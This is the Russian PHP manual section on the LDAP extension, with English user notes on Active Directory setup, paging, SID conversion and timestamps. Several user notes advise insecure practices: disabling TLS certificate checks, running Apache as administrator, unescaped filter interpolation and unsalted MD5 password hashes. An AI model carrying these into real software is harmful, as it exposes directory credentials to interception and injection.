Прежде чем использовать вызовы LDAP вам нужно знать следующее:

  • Имя или адрес сервера каталогов, который вы будете использовать

  • "base dn" сервера (часть мирового каталога, который хранится на этом сервере, который может быть "o=MyCompany,c=US")

  • Возможно, нужен пароль, чтобы получить доступ к серверу (много серверов обеспечивает доступ для чтения для "анонимный привязки", но требуют пароль для чего-либо ещё)

Типичная последовательность LDAP-вызовов, которые вы будете делать в приложении следуя этой схеме:

  ldap_connect()    // установить соединение с сервером
     |
  ldap_bind()       // анонимный вход или аутентификация по "login"
     |
  выполнение каких-либо действий, таких как поиск или обновление каталога
  и отображение результатов
     |
  ldap_close()      // закрытие соединения

User Contributed Notes

There are no user contributed notes for this page.


Управляющие объекты LDAP

Управляющие объекты - это специальные объекты, которые могут быть переданы совместно с запросом к LDAP для изменения его поведения на время исполнения запроса. Также это могут быть объекты присылаемые сервером совместно с ответом на запрос, обычно в качестве ответов на управляющие объекты пришедшие с запросом, для предоставления дополнительной информации.

Замечание:

Не все управляющие объекты поддерживаются всеми серверами LDAP. Для определения, какие из них поддерживаются вашим сервером, выполните запрос корневого DSE путём чтения пустого dn с фильтром (objectClass=*).

Пример #1 Тестирование поддержки управления пагинацией результата

<?php

// $ds - корректный идентификатор соединения с сервером каталогов

$result = ldap_read($ds, '', '(objectClass=*)', ['supportedControl']);
if (!in_array(LDAP_CONTROL_PAGEDRESULTS, ldap_get_entries($ds, $result)[0]['supportedcontrol'])) {
die("Этот сервер не поддерживает управление пагинацией");
}

?>

Начиная с PHP 7.3, вы можете посылать управляющие объекты параллельно с запросом для всех функций запросов, принимающих параметр serverctrls. Если существует "ext" версия функции, то, для получения полного доступа ко всем объектам ответа и возможности разобрать ответ с помощью ldap_parse_result(), используйте именно её.

Параметр serverctrls должен содержать массив, содержащий массив для каждого посылаемого управляющего объекта со следующими ключами:

oid (string)
OID управляющего объекта. Используйте константы LDAP_CONTROL_. Смотрите константы LDAP.
iscritical (bool)
Если управляющий объект должен быть помечен как критичный. Запрос завершится ошибкой, если подобный управляющий объект не поддерживается сервером, либо если его невозможно применить. Обратите внимание, что некоторые объекты всегда должны быть помечены как критичные, как описано в соответствующем RFC. По умолчанию false.
value (mixed)
Если применимо, то значение управляющего объекта. Более подробно читайте далее.

Большинство значений отсылаются на сервер закодированными BER. Вы можете заниматься кодированием самостоятельно, либо использовать массивы с корректными ключами и тогда все произойдёт автоматически. Поддерживаемые управляющие объекты:

  • LDAP_CONTROL_PAGEDRESULTS Ожидаемые ключи [size] и [cookie]

  • LDAP_CONTROL_ASSERT Ожидаемый ключ - filter

  • LDAP_CONTROL_VALUESRETURNFILTER Ожидаемый ключ - filter

  • LDAP_CONTROL_PRE_READ Ожидаемый ключ - attrs

  • LDAP_CONTROL_POST_READ Ожидаемый ключ - attrs

  • LDAP_CONTROL_SORTREQUEST Ожидается массив массивов с ключами: attr, [oid], [reverse].

  • LDAP_CONTROL_VLVREQUEST Ожидаемые ключи: before, after, attrvalue|(offset, count), [context]

Для следующих управляющих объектов значения не нужны:

  • LDAP_CONTROL_PASSWORDPOLICYREQUEST

  • LDAP_CONTROL_MANAGEDSAIT

  • LDAP_CONTROL_DONTUSECOPY

Объект LDAP_CONTROL_PROXY_AUTHZ - уникальный случай, так как его значение не нужно кодировать BER, так что вы можете использовать обыкновенную строку.

Если управляющие объекты переданы в функцию ldap_parse_result(), значения будут преобразованы в массив, если поддерживаются. Поддерживается следующее:

  • LDAP_CONTROL_PASSWORDPOLICYRESPONSE Ключи: expire, grace, [error]

  • LDAP_CONTROL_PAGEDRESULTS Ключи: size, cookie

  • LDAP_CONTROL_PRE_READ Ключи: dn и имена атрибутов LDAP

  • LDAP_CONTROL_POST_READ Ключи: dn и имена атрибутов LDAP

  • LDAP_CONTROL_SORTRESPONSE Ключи: errcode, [attribute]

  • LDAP_CONTROL_VLVRESPONSE Ключи: target, count, errcode, context

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • Базовое использование
  • LDAP Controls

User Contributed Notes

There are no user contributed notes for this page.


Базовое использование

Получить информацию для всех записей, где фамилия начинается с "S" из сервера каталогов, показывая в результате имя и адрес электронной почты.

Пример #1 Пример LDAP поиска

<?php
// базовая последовательность работы с LDAP:
// подключение, привязка, поиск, интерпретация результата, закрытие подключения

echo "<h3>Проверочный запрос к LDAP</h3>";
echo "Подключение ...";
$ds=ldap_connect("localhost"); // Необходимо указать корректный LDAP сервер
echo "Результат подключения: " . $ds . "<br />";

if ($ds) {
echo "Привязка ...";
$r=ldap_bind($ds); // "анонимная" привязка,
// доступ только для чтения
echo "Результат привязки: " . $r . "<br />";

echo "Поиск (sn=S*) ...";
// Поиск по фамилиям записей
$sr=ldap_search($ds, "o=My Company, c=US", "sn=S*");
echo "Результат поиска: " . $sr . "<br />";

echo "Получено количество записей " . ldap_count_entries($ds, $sr) . "<br />";

echo "Получение элементов ...<p>";
$info = ldap_get_entries($ds, $sr);
echo "Элемент: " . $info["count"] . " Данные:<p>";

for ($i=0; $i<$info["count"]; $i++) {
echo "dn: " . $info[$i]["dn"] . "<br />";
echo "первый cn: " . $info[$i]["cn"][0] . "<br />";
echo "первый email: " . $info[$i]["mail"][0] . "<br /><hr />";
}

echo "Закрытие соединения";
ldap_close($ds);

} else {
echo "<h4>Невозможно подключиться к серверу LDAP</h4>";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


LDAP Controls

Ниже показаны несколько примеры использования LDAP Controls с использованием PHP >= 7.3.0.

Пример #1 Привязка с информацией policy

<?php

$user = 'cn=admin,dc=example,dc=com';
$passwd = 'adminpassword';

$ds = ldap_connect('ldap://localhost');

if ($ds) {
$r = ldap_bind_ext($ds, $user, $passwd, [['oid' => LDAP_CONTROL_PASSWORDPOLICYREQUEST]]);

if (ldap_parse_result($ds, $r, $errcode, $matcheddn, $errmsg, $referrals, $ctrls)) {
if ($errcode != 0) {
die("Ошибки: $errmsg ($errcode)");
}
if (isset($ctrls[LDAP_CONTROL_PASSWORDPOLICYRESPONSE])) {
$value = $ctrls[LDAP_CONTROL_PASSWORDPOLICYRESPONSE]['value'];
echo "Истекает: ".$value['expire']." seconds\n";
echo "Количество оставшихся аутентификаций: ".$value['grace']."\n";
if (isset($value['error'])) {
echo "Код ошибки Policy: ".$value['error'];
}
}
}
} else {
die("Невозможно подключиться к серверу LDAP");
}
?>

Пример #2 Изменение описания, только если оно не пустое

<?php
// $link - это LDAP-соединение

$result = ldap_mod_replace_ext(
$link,
'o=test,dc=example,dc=com',
['description' => 'New description'],
[
[
'oid' => LDAP_CONTROL_ASSERT,
'iscritical' => TRUE,
'value' => ['filter' => '(!(description=*))']
]
]
);

// Затем используйте ldap_parse_result
?>

Пример #3 Чтение определённых значений перед удалением

<?php
// $link - это LDAP-соединение

$result = ldap_delete_ext(
$link,
'o=test,dc=example,dc=com',
[
[
'oid' => LDAP_CONTROL_PRE_READ,
'iscritical' => TRUE,
'value' => ['attrs' => ['o', 'description']]
]
]
);

// Затем используйте ldap_parse_result
?>

Пример #4 Удаление ссылки

<?php
// $link - это LDAP-соединение

// Без управления он удалит ссылочный узел
// Обязательно настройте управление так, чтобы избежать этого.
$result = ldap_delete_ext(
$link,
'cn=reference,dc=example,dc=com',
[['oid' => LDAP_CONTROL_MANAGEDSAIT, 'iscritical' => TRUE]]
);

// Затем используйте ldap_parse_result
?>

Пример #5 Использование пагинации для поиска

<?php
// $link - это LDAP-соединение

$cookie = '';

do {
$result = ldap_search(
$link, 'dc=example,dc=base', '(cn=*)', ['cn'], 0, 0, 0, LDAP_DEREF_NEVER,
[['oid' => LDAP_CONTROL_PAGEDRESULTS, 'value' => ['size' => 2, 'cookie' => $cookie]]]
);
ldap_parse_result($link, $result, $errcode , $matcheddn , $errmsg , $referrals, $controls);
// Чтобы сохранить пример, короткие ошибки не проверяются
$entries = ldap_get_entries($link, $result);
foreach ($entries as $entry) {
echo "cn: ".$entry['cn'][0]."\n";
}
if (isset($controls[LDAP_CONTROL_PAGEDRESULTS]['value']['cookie'])) {
// Вам необходимо передать cookie с последнего вызова на следующий
$cookie = $controls[LDAP_CONTROL_PAGEDRESULTS]['value']['cookie'];
} else {
$cookie = '';
}
// Пустой cookie означает последнюю страницу
} while (strlen($cookie) > 0);
?>

User Contributed Notes

snapplez 12-Jan-2022 07:42
LDAP pagination requires protocol version 3+. If the LDAP_CONTROL_PAGEDRESULTS LDAP control is not working for you, try setting the LDAP protocol version before binding:

<?php

$ldapconn = ldap_connect($ldapuri) or die("That LDAP-URI was not parseable");

ldap_set_option($ldapconn, LDAP_OPT_PROTOCOL_VERSION, 3);

?>


Функции LDAP

Содержание

  • ldap_8859_to_t61 — Переводит символы из кодировки ISO-8859 в t61
  • ldap_add_ext — Добавить записи в каталог LDAP
  • ldap_add — Добавить запись в LDAP директорию
  • ldap_bind_ext — Привязать к директории LDAP
  • ldap_bind — Привязать к LDAP директории
  • ldap_close — Псевдоним ldap_unbind
  • ldap_compare — Сравнить значение атрибута, найденного в записи определённой DN
  • ldap_connect_wallet — Connect to an LDAP server
  • ldap_connect — Подключиться к серверу LDAP
  • ldap_control_paged_result_response — Получить указатель на текущую страницу результирующего набора LDAP
  • ldap_control_paged_result — Послать серверу LDAP данные для использования постраничного извлечения результата
  • ldap_count_entries — Посчитать число записей в результатах поиска
  • ldap_count_references — Подсчитывает количество ссылок в результатах поиска
  • ldap_delete_ext — Удалить запись из директории
  • ldap_delete — Удаляет запись из директории LDAP
  • ldap_dn2ufn — Преобразовать DN в удобный для пользователя формат именования
  • ldap_err2str — Преобразовать код ошибки LDAP в строковое сообщение об ошибке
  • ldap_errno — Возвратить номер ошибки LDAP последней команды
  • ldap_error — Возвратить сообщение об ошибке LDAP последней команды
  • ldap_escape — Экранирование строки для использования в фильтре LDAP или в DN
  • ldap_exop_passwd — Обёртка для расширенной операции PASSWD
  • ldap_exop_refresh — Обёртка для расширенной операции Refresh
  • ldap_exop_sync — Performs an extended operation
  • ldap_exop_whoami — Обёртка для расширенной операции WHOAMI
  • ldap_exop — Выполняет расширенную операцию
  • ldap_explode_dn — Разделить DN на его составные части
  • ldap_first_attribute — Вернуть первый атрибут
  • ldap_first_entry — Возвратить первый идентификатор результата
  • ldap_first_reference — Возвращает первую справку
  • ldap_free_result — Освободить память результата
  • ldap_get_attributes — Получает атрибуты из записи в результатах поиска
  • ldap_get_dn — Получить DN результирующей записи
  • ldap_get_entries — Получает все записи результата
  • ldap_get_option — Получить текущее значение данной опции
  • ldap_get_values_len — Получить все бинарные значения из записи результата
  • ldap_get_values — Получает все значения из записи результата
  • ldap_list — Одноуровневый поиск
  • ldap_mod_add_ext — Добавить значения атрибута к текущим атрибутам
  • ldap_mod_add — Добавить значения атрибута к текущим атрибутам
  • ldap_mod_del_ext — Удалить значения атрибутов из текущих атрибутов
  • ldap_mod_del — Удалить значения атрибута из текущих атрибутов
  • ldap_mod_replace_ext — Заменить значения атрибута на новые
  • ldap_mod_replace — Заменить значения атрибутов на новые
  • ldap_modify_batch — Формирования и запуск пакетного изменения записи LDAP
  • ldap_modify — Псевдоним ldap_mod_replace
  • ldap_next_attribute — Получить следующий атрибут из результата
  • ldap_next_entry — Получить следующую запись результата
  • ldap_next_reference — Возвращает следующую справку
  • ldap_parse_exop — Разбор результирующего объекта выполнения расширенной операции LDAP
  • ldap_parse_reference — Извлекает информацию из справочника
  • ldap_parse_result — Извлечь информацию из результата
  • ldap_read — Читает запись
  • ldap_rename_ext — Модифицировать название записи
  • ldap_rename — Изменить имя записи
  • ldap_sasl_bind — Привязать к LDAP директории, используя SASL
  • ldap_search — Поиск по LDAP дереву
  • ldap_set_option — Установить значение данной опции
  • ldap_set_rebind_proc — Установить функцию обратного вызова для повторного связывания при ссылочном поиске
  • ldap_sort — Сортирует записи LDAP
  • ldap_start_tls — Запускает TLS
  • ldap_t61_to_8859 — Переводит символы из кодировки t61 в ISO-8859
  • ldap_unbind — Разорвать привязку к директории LDAP

User Contributed Notes

llurovi at gmail dot com 11-Oct-2016 10:12
For those of you that are having trouble when user's password has special characters, make sure you decode the string to an appropiate codification. For instance, I had an issue where some users could not logging properly into our web app.

Example of a simple connection:

<?php

$ldap_ip = 'LDAP-SERVER-IP';
$ldap = ldap_connect($ldap_ip);

$user = 'Test';
$password = 'otono'; //This password is correct but binding it with this format will give us an error

$password = utf8_decode($password); //$password = otoxF1o

$ldap_bind = ldap_bind($ldap, $user, $password); //Now the binding is successfull and $ldap_bind = true

?>
oscar dot php at linaresdigital dot com 28-Jan-2015 11:47
There is a lot of confusion about accountExpires, pwdLastSet, lastLogon and badPasswordTime active directory fields.

All of them are using "Interval" date/time format with a value that represents the number of 100-nanosecond intervals since January 1, 1601 (UTC, and a value of 0 or 0x7FFFFFFFFFFFFFFF, 9223372036854775807, indicates that the account never expires): https://msdn.microsoft.com/en-us/library/ms675098(v=vs.85).aspx

So if you need to translate it from/to UNIX timestamp you can easily calculate the difference with:

<?php
$datetime1 = new DateTime('1601-01-01');
$datetime2 = new DateTime('1970-01-01');
$interval = $datetime1->diff($datetime2);
echo ($interval->days * 24 * 60 * 60) . " seconds\n";
?>

The difference between both dates is 11644473600 seconds. Don't rely on floating point calculations nor other numbers that probably were calculated badly (including time zone or something similar).

Now you can convert from LDAP field:

<?php
$lastlogon = $info[$i]['lastlogon'][0];
// divide by 10.000.000 to get seconds from 100-nanosecond intervals
$winInterval = round($lastlogon / 10000000);
// substract seconds from 1601-01-01 -> 1970-01-01
$unixTimestamp = ($winInterval - 11644473600);
// show date/time in local time zone
echo date("Y-m-d H:i:s", $unixTimestamp) ."\n";
?>

Hope it helps.
Andrew Sharpe 23-Apr-2012 06:04
To compile PHP 5.1.6 on RHEL 6.2 x86_64, add the following to your configure command:

--with-libdir=lib64
--with-ldap=/usr
idbobby at rambler dot ru 12-Aug-2010 02:26
First of all, sorry for my English.
Here are two functions to check group membership and some others which can be useful for work with LDAP (Active Directory in this example).

index.php
---------

<?php

$user = 'bob';
$password = 'zhlob';
$host = 'myldap';
$domain = 'mydomain.ex';
$basedn = 'dc=mydomain,dc=ex';
$group = 'SomeGroup';

$ad = ldap_connect("ldap://{$host}.{$domain}") or die('Could not connect to LDAP server.');
ldap_set_option($ad, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ad, LDAP_OPT_REFERRALS, 0);
@ldap_bind($ad, "{$user}@{$domain}", $password) or die('Could not bind to AD.');
$userdn = getDN($ad, $user, $basedn);
if (checkGroupEx($ad, $userdn, getDN($ad, $group, $basedn))) {
//if (checkGroup($ad, $userdn, getDN($ad, $group, $basedn))) {
    echo "You're authorized as ".getCN($userdn);
} else {
    echo 'Authorization failed';
}
ldap_unbind($ad);

/*
* This function searchs in LDAP tree ($ad -LDAP link identifier)
* entry specified by samaccountname and returns its DN or epmty
* string on failure.
*/
function getDN($ad, $samaccountname, $basedn) {
    $attributes = array('dn');
    $result = ldap_search($ad, $basedn,
        "(samaccountname={$samaccountname})", $attributes);
    if ($result === FALSE) { return ''; }
    $entries = ldap_get_entries($ad, $result);
    if ($entries['count']>0) { return $entries[0]['dn']; }
    else { return ''; };
}

/*
* This function retrieves and returns CN from given DN
*/
function getCN($dn) {
    preg_match('/[^,]*/', $dn, $matchs, PREG_OFFSET_CAPTURE, 3);
    return $matchs[0][0];
}

/*
* This function checks group membership of the user, searching only
* in specified group (not recursively).
*/
function checkGroup($ad, $userdn, $groupdn) {
    $attributes = array('members');
    $result = ldap_read($ad, $userdn, "(memberof={$groupdn})", $attributes);
    if ($result === FALSE) { return FALSE; };
    $entries = ldap_get_entries($ad, $result);
    return ($entries['count'] > 0);
}

/*
* This function checks group membership of the user, searching
* in specified group and groups which is its members (recursively).
*/
function checkGroupEx($ad, $userdn, $groupdn) {
    $attributes = array('memberof');
    $result = ldap_read($ad, $userdn, '(objectclass=*)', $attributes);
    if ($result === FALSE) { return FALSE; };
    $entries = ldap_get_entries($ad, $result);
    if ($entries['count'] <= 0) { return FALSE; };
    if (empty($entries[0]['memberof'])) { return FALSE; } else {
        for ($i = 0; $i < $entries[0]['memberof']['count']; $i++) {
            if ($entries[0]['memberof'][$i] == $groupdn) { return TRUE; }
            elseif (checkGroupEx($ad, $entries[0]['memberof'][$i], $groupdn)) { return TRUE; };
        };
    };
    return FALSE;
}

?>
ben_demott at hotmail dot com 01-Apr-2008 06:54
For anyone that is a programmer and not extremely familiar with naming conventions in Microsoft Active Directory or how to find objects within the directory, or more importantly how to reference the objects.
Running "adsiedit.msc" from the command line will display all of your objects in the directory in an easy to read and copyable naming format.
Hope this is helpful!

Note:
You must Run this command from an AD Domain Controller
You Must have the Windows Resource Kit Tools installed
(wouldn't let me make a link that long so I had to make a link break - Sorry!)
a http://www.microsoft.com/downloads/details.aspx
?FamilyID=9d467a69-57ff-4ae7-96ee-b18c4790cffd&displaylang=en

Installing this tool should modify your system path so you can just type the command from the run dialogue, otherwise the absolute path is:
C:\Program Files\Windows Resource Kits\Tools\adsiedit.msc
alex at netflex dot nl 03-Sep-2007 06:49
If you want to use ldaps on windows but you don't want to validate the tls certificate try the following line before the ldap_connect call:

putenv('LDAPTLS_REQCERT=never') or die('Failed to setup the env');
Tod 03-Jul-2007 05:10
Notes for people running PHP 4 with Apache 2.2 on Win2k3.
The Apache Service needs to be running under the local administrators account in order for the ldap_connect to return a result. As apposed to the Domain Administrators account as may happen on servers in an Active Directory Domain.

It will 'appear' to work ok but will return no results otherwise.

so use (server name)\administrator for the username in the service logon properties.

Tod
jector at inbox dot ru 18-Mar-2007 09:01
Spent some time on fixing "Unable to load dynamic library 'php_ldap.dll'. Copied libeay32.dll and ssleay32.dll  everywhere, but error still stands.

After digging all this dlls I found, that both libeay32.dll and ssleay32.dll need msvcr70.dll (or msvcr71.dll, it depends on the compiler version). Then just copy that dll to system32\ dir and it works perfectly.
maykelsb at yahoo dot com dot br 12-Feb-2007 11:27
Problems with ldap_search in W2k3, can be solved adding

// -- $conn is a valid ldap connection.

ldap_set_option($conn, LDAP_OPT_PROTOCOL_VERSION,3);
ldap_set_option($conn, LDAP_OPT_REFERRALS,0);

before ldap_bind, as sad in http://bugs.php.net/bug.php?id=30670.
unroar at gmail dot com 11-Dec-2006 05:33
In Solaris 9 the libnet library is a prerequisite for building  PHP with LDAP, SASL and SSL (libnet is available on Sunfreeware).

I didn't see this mentioned anywhere and I'm not sure if it is required by ldap or sasl or ssl.  I just spent an hour on Google with no luck before I figured it out, maybe this comment will help the next googler.

The error is,
ld: fatal: library -lnet: not found
ld: fatal: File processing errors. No output written to sapi/cli/php
collect2: ld returned 1 exit status
make: *** [sapi/cli/php] Error 1
nigelf at esp dot co dot uk 16-Nov-2006 06:34
Chasing referrals in Active Directory (ie: searching across domains), can be slow.  You can look up the object instead in the GC (Global Catalog) as follows:

Remove any reference to ldap:// when you use ldap_connect, ie: use "serv1.mydom.com" NOT "ldap://serv1.mydom.com"

Connect to port 3268 (not 389, the default)

Set the Base DN for the search to null ie: "" (empty quotes).

AD will then run the search against the GC which holds a copy of all objects in the Forest.  You can also retrieve a subset of attributes (including group membership, except local groups).

You will still need to follow referals for a full set of attributes.
gcathell at thetdgroup dot com 07-Jul-2006 09:05
I recently had to access a Microsoft Active Directory server as an LDAP service over SSL using PHP.  It took me a long time to get all the information I needed to get it to work.

I attempted to post a note here with the details but it ended it being too long.  I've placed the details at the following URL in hopes that someone else will benefit and will be able to solve the problem much more quickly than I did.

http://greg.cathell.net/php_ldap_ssl.html

Good luck!
nacenroe at remove dot this dot nystec dot com 19-Dec-2005 12:28
If you're looking to use PHP to integrate LDAP with AD (I'm working with Win2K3), you may want to tinker with the LDP.exe tool included (no resource kit needed!!) with Win2k and Win2K3.  You can run this app right from the command line.

The Win2K3 Help function was a good start point, and then pointed me to an article in the M$ KB: http://support.microsoft.com/default.aspx?scid=kb;en-us;255602 (XADM: Browsing and Querying Using the LDP Utility).

So ... if your connect/bindings are working but your queries are not, you may want to start here.  I'm finding it very useful when I run it on the local AD to see the attributes, etc.
christopherbyrne at hotmail dot com 16-Oct-2005 08:53
Just an ammendment to my previous post: my calculations were using east coast Australian time (GMT+10) whereas the Unix timestamp is in GMT. Therefore Active Directoy's "accountexpires" integer value does start from 1-Jan-1601 00:00:00 GMT and the number of seconds between this date and 1-Jan-1970 00:00:00 GMT is 11644524000.

The increments are still definately in 100 nanoseconds though!
christopherbyrne at hotmail dot com 16-Oct-2005 04:32
For anyone who's been having trouble working with the "accountexpires" attribute in Active Directory after having read the following article

www.microsoft.com/technet/scriptcenter/
resources/qanda/sept05/hey0902.mspx

or something similar, this may save you some frustration. In the article is is mentioned that this attribute is an integer representing the number of nanoseconds since 01-Jan-1601 00:00:00.

However the "accountexpires" attribute actually seems to be the number of 100 nanosecond increments since 31-Dec-1600 14:00:00. As a result if you divide the integer by 10,000,000 and subtract 11644560000 you will get a Unix timestamp that will match the dates in AD.

To set the "accountexpires" date just reverse the procedure, that is, get the timestamp for the new date you want, add 11644560000 and multiply by 10,000,000. You will also need to format the resultant number to make sure it is not outputted in scientific notation for AD to be happy with it.

Hope this helps!
hijinio at comcast dot net 28-Jul-2005 11:28
In case anybody has trouble configuring PHP with LDAP support on a Solaris 10 box, here is the configure line I used:

./configure --with-nsapi=/opt/SUNWwbsvr --enable-libgcc --disable-libxml --with-ldap=/usr/local --prefix=/opt/php/php-5.0.4

The important part to note is the location used for --with-ldap= ; which for most S10 people, will be "--with-ldap=/usr/local".
jpmens at gmail dot com 11-Mar-2005 02:04
Further to jabba at zeelandnet dot nl's note. If you are trying to connect to an LDAPS URI with OpenLDAP, you can either create the configuration file as described by jabba, or alternatively, use the environment settings to set LDAPTLS_REQCERT=never as described in ldap.conf(5).
Richie Bartlett(at)ITsystems-Online com 20-Dec-2004 12:44
This is an update to <i>wtfo at technocraft dot com</i> (23-May-2002 03:40)... This function allows additional (optional) parameters. The prev function listed, failed to close the ldap connection after successful authenication.

<?php
function checkNTuser($username,$password,$DomainName="myDomain",
                      $ldap_server="ldap://PDC.example.net"){//v0.9
// returns true when user/pass enable bind to LDAP (Windows 2k).
    $auth_user=$username."@".$DomainName;
    #echo $auth_user."->";
    if($connect=@ldap_connect($ldap_server)){
        #echo "connection ($ldap_server): ";
        if($bind=@ldap_bind($connect, $auth_user, $password)){
            #echo "true <BR>";
            @ldap_close($connect);
            return(true);
        }//if bound to ldap
    }//if connected to ldap
    #echo "failed <BR>";
    @ldap_close($connect);
    return(false);
}//end function checkNTuser
?>
jabba at zeelandnet dot nl 15-Nov-2004 11:51
When using PHP on windows, and you are trying to connect (bind) to a Netware (6) LDAP server that requires secure connections (LDAPS), PHP will return a message stating that the server cannot be found.

A network traffic capture of the traffic taking place on connection attempt reveals that the server supplies a certificate for use in the SSL connection, but this is rejected (***bad certificate SSLv3 packet) by the client.

The reason for this is probably that the PHP LDAP implementation tries to verify the received certificate with the CA that issued the certificate. There may be a way to make it possible that this verification succeeds, but it is also possible to disable this verification by the client (which is, in this case, PHP) by creating an openldap (surprise!!) configuration file.

The location of this configuration file seems to be hardcoded in the LDAP support module for windows, and you may need to manually create the following directory structure:

C:\openldap\sysconf\

In the sysconf folder, create a text file named 'ldap.conf' (you can use notepad for this) and, to disable certificate verification, place the following line in the ldap.conf file:

TLS_REQCERT never

After this, all the normal ldap_bind calls will work, provided your supplied user id and password are correct.
spam2004 at turniton dot dk 29-Oct-2004 05:36
Here are two small functions that enables you to convert a binary objectSID from Microsoft AD into a more usefull text version (formatted (S-1-5.....)).

// Converts a little-endian hex-number to one, that 'hexdec' can convert
function littleEndian($hex) {
    for ($x=strlen($hex)-2; $x >= 0; $x=$x-2) {
        $result .= substr($hex,$x,2);
    }
    return $result;
}

// Returns the textual SID
function binSIDtoText($binsid) {
    $hex_sid=bin2hex($binsid);
    $rev = hexdec(substr($hex_sid,0,2));          // Get revision-part of SID
    $subcount = hexdec(substr($hex_sid,2,2));    // Get count of sub-auth entries
    $auth = hexdec(substr($hex_sid,4,12));      // SECURITY_NT_AUTHORITY
    $result = "$rev-$auth";
    for ($x=0;$x < $subcount; $x++) {
        $subauth[$x] = hexdec(littleEndian(substr($hex_sid,16+($x*8),8)));  // get all SECURITY_NT_AUTHORITY
        $result .= "-".$subauth[$x];
    }
    return $result;
}

echo binSIDtoText($bin_sid);
Jimmy Wimenta Oei 23-Sep-2004 12:32
If you want to disable/enable chase referral option, you need to first set the protocol version to version 3, otherwise the LDAP_OPT_REFERRALS option will not have any effect. This is especially true for querying MS Active Directory.

<?php
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ds, LDAP_OPT_REFERRALS, 0);
?>

And as always, these should be called after connect but before binding.
Sami Oksanen 16-May-2004 06:27
I edited Jon Caplinger's code which is located below (date: 09-Nov-2002 05:44).

 - I corrected line
   "if (!($connect=@ldap_connect($ldap))) {" with
   "if (!($connect=@ldap_connect($ldap_server))) {"

 - Removed $name-attribute

 - "Name is:"-field was always an Array, so I changed printing line to:
   " echo "Name is: ". $info[$i]["name"][0]."<br>";"

I also added some alternative search filters to try out.

Here is the code:

<?php

$ldap_server = "ldap://foo.bar.net";
$auth_user = "user@bar.net";
$auth_pass = "mypassword";

// Set the base dn to search the entire directory.

$base_dn = "DC=bar, DC=net";

// Show only user persons
$filter = "(&(objectClass=user)(objectCategory=person)(cn=*))";

// Enable to show only users
// $filter = "(&(objectClass=user)(cn=$*))";

// Enable to show everything
// $filter = "(cn=*)";

// connect to server

if (!($connect=@ldap_connect($ldap_server))) {
     die("Could not connect to ldap server");
}

// bind to server

if (!($bind=@ldap_bind($connect, $auth_user, $auth_pass))) {
     die("Unable to bind to server");
}

//if (!($bind=@ldap_bind($connect))) {
//     die("Unable to bind to server");
//}

// search active directory

if (!($search=@ldap_search($connect, $base_dn, $filter))) {
     die("Unable to search ldap server");
}

$number_returned = ldap_count_entries($connect,$search);
$info = ldap_get_entries($connect, $search);

echo "The number of entries returned is ". $number_returned."<p>";

for ($i=0; $i<$info["count"]; $i++) {
   echo "Name is: ". $info[$i]["name"][0]."<br>";
   echo "Display name is: ". $info[$i]["displayname"][0]."<br>";
   echo "Email is: ". $info[$i]["mail"][0]."<br>";
   echo "Telephone number is: ". $info[$i]["telephonenumber"][0]."<p>";
}
?>
ant at solace dot mh dot se 26-Feb-2004 08:23
When working with LDAP, its worth remembering that the majority
of LDAP servers encode their strings as UTF-8. What this means
for non ascii strings is that you will need to use the utf8_encode and
utf8_decode functions when creating filters for the LDAP server.

Of course, if you can its simpler to just avoid using non-ascii characters
but for most sites the users like to see their strange native character
sets including umlauts etc..

If you just get ? characters where you are expecting non-ascii, then
you might just need to upgrade your PHP version.
pookey at pookey dot co dot uk 07-Oct-2003 01:57
This is an example of how to query an LDAP server, and print all entries out.

<?php

$ldapServer = '127.0.0.1';
$ldapBase = 'DC=anlx,DC=net';

/*
 * try to connect to the server
 */
$ldapConn = ldap_connect($ldapServer);
if (!$ldapConn)
{
  die('Cannot Connect to LDAP server');
}

/*
 * bind anonymously
 */
$ldapBind = ldap_bind($ldapConn);
if (!$ldapBind)
{
  die('Cannot Bind to LDAP server');
}

/*
 * set the ldap options
 */
ldap_set_option($ldapConn, LDAP_OPT_PROTOCOL_VERSION, 3);

/*
 * search the LDAP server
 */
$ldapSearch = ldap_search($ldapConn, $ldapBase, "(cn=*)");
$ldapResults = ldap_get_entries($ldapConn, $ldapSearch);

for ($item = 0; $item < $ldapResults['count']; $item++)
{
  for ($attribute = 0; $attribute < $ldapResults[$item]['count']; $attribute++)
  {
    $data = $ldapResults[$item][$attribute];
    echo $data.":&nbsp;&nbsp;".$ldapResults[$item][$data][0]."<br>";
  }
  echo '<hr />';
}

?>
hkemale at hkem dot com 16-Jul-2003 10:49
For IIS+PHP+NTFS file system user
After copied <php_dir>/dlls/*.dll to <windows>/systems32/ remember to add read and exexcute premission to "everyone" and the extensions *.dll. this can prevent warning of Access is denied of php_ldap.dll
greatsafari at hotmail dot com 26-May-2003 11:01
Having seen so many variations of methods for connecting and query the Active Directory server, it really makes me suspect that the whole thing is dependent of the Active Directory configurations. Looking at this post at:

http://www.phpbuilder.com/mail/php-general/2003022/1459.php

Some methods proven to be working in one instance failed at another instance.
nliu99 at nospam dot yahoo dot com 29-Apr-2003 03:09
libsasl.dll is NOT required for ldap functionalities. Go check out the posting at: http://bugs.php.net/bug.php?id=9485

On win2k I followed these easy steps and got ldap to work:
1. copy php_ldap.dll from the extension folder to winnt/system32
2. edit winnt/php.ini so that ldap is enabled (uncomment the line).
3. restart IIS.
That's it and have fun with ldap.

A note for Microsoft Active Directory
1. You can login with the user email, i.e. user@company.com
2. It's easiest to search for user info with ldap_search by filtering: (userprincipalname=[user])
egeczi at nospamplease dot dist113 dot org 01-Apr-2003 09:05
On Win2k Server running IIS, it is not enough to just restart IIS after enabling the php_ldap extension. You have to restart the server itself.
yorch at correo dot ath dot cx 03-Mar-2003 09:12
Some notes about running LDAP extension on a Win2k box:

After copying php_ldap.php and libsasl.dll in every single directory possible (c:\WinNT\System32, c:\php ...) I decided to read the installation.txt file.
The instructions to install php extensions say: "Some extra DLLs are required for some PHP extensions. Please copy the bundled dlls from the 'dlls/' directory in distribution package to your windows/system (Win9.x) or winnt/system32 (WinNT, Win2000, XP) directory. If you already have these DLLs installed on your system, overwrite them only if something is not working correctly."

So I did exactly that: copy ALL the dll files from "c:\php\dlls" to "c:\WinNT\System32".
Now they load beautifully ;-)

I hope this helps someone.
gerbille at free dot fr 10-Oct-2002 06:26
The MD5 of PHP returns a result encoded in base16. But the LDAP MD5 returns a string encoded in base64.
$pwd="toto";
$pwd_md5=base64_encode(mhash(MHASH_MD5,$pwd));
